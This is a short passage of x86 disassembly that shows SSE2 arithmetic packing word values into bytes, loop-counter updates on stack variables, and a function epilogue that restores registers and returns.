pand xmm2, xmm1
psrlw xmm0, 8
psrlw xmm4, 7
psubw xmm2, xmm0
pxor xmm4, xmm1
psubw xmm4, xmm1
paddw xmm2, xmm4
packuswb xmm2, xmm5
movd dword [eax], xmm2
mov esi, dword [ebp - 0xc]
add esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], esi
test edi, edi
jne 0x4175c3
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret